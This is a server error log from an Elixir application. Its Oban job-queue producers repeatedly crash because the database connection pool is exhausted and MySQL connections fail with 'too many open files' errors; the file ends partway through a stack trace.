[Sun Sep  6 00:27:20.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 810ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:27:08.239292Z], limit: 5, uuid: "b242f8d8-a664-4b10-8914-c72be9f83858", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:27:08.239298Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.190308>, refresh_timer: #Reference<0.2525715032.1077673987.38737>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:27:20.705000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:27:20.869000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:27:22.323000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:27:22.772000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:27:23.131000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:27:23.559000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:27:27.910000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:27:32.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1063ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:27:20.238802Z], limit: 20, uuid: "2511ac25-a4c2-4f93-b783-82831078959f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:27:20.238809Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.190463>, refresh_timer: #Reference<0.2525715032.1121189889.190420>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:27:32.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 882ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:27:20.239929Z], limit: 3, uuid: "aa2c8131-b71b-4ed3-8efd-2c00a1ee0a9d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:27:20.239934Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.190464>, refresh_timer: #Reference<0.2525715032.1077673987.38882>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:27:32.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 852ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:27:20.238802Z], limit: 50, uuid: "b8f24f3a-3819-4a84-9203-6c2c43ab6847", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:27:20.238809Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.61344>, refresh_timer: #Reference<0.2525715032.1121189889.190423>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:27:32.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 807ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:27:20.239619Z], limit: 10, uuid: "1e343baa-9de6-4dd3-bc9e-ffde51b6a9f7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:27:20.239625Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.61343>, refresh_timer: #Reference<0.2525715032.1121189889.190444>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:27:32.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 839ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:27:20.239786Z], limit: 5, uuid: "4f047654-e736-4084-b812-04861348ed2e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:27:20.239792Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.58827>, refresh_timer: #Reference<0.2525715032.1077673987.38880>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:27:32.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 802ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:27:20.239303Z], limit: 5, uuid: "e02f54e2-84e5-4515-ad6c-8ca5aae57aca", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:27:20.239309Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.58826>, refresh_timer: #Reference<0.2525715032.1099431938.58825>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:27:34.367000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:27:34.902000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:27:37.829000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:27:38.248000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:27:43.314000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:27:44.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1016ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:27:32.239621Z], limit: 5, uuid: "57133dfc-77ef-4844-bd32-8b1a134d6f62", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:27:32.239627Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.61674>, refresh_timer: #Reference<0.2525715032.1077673987.39038>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:27:44.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 815ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
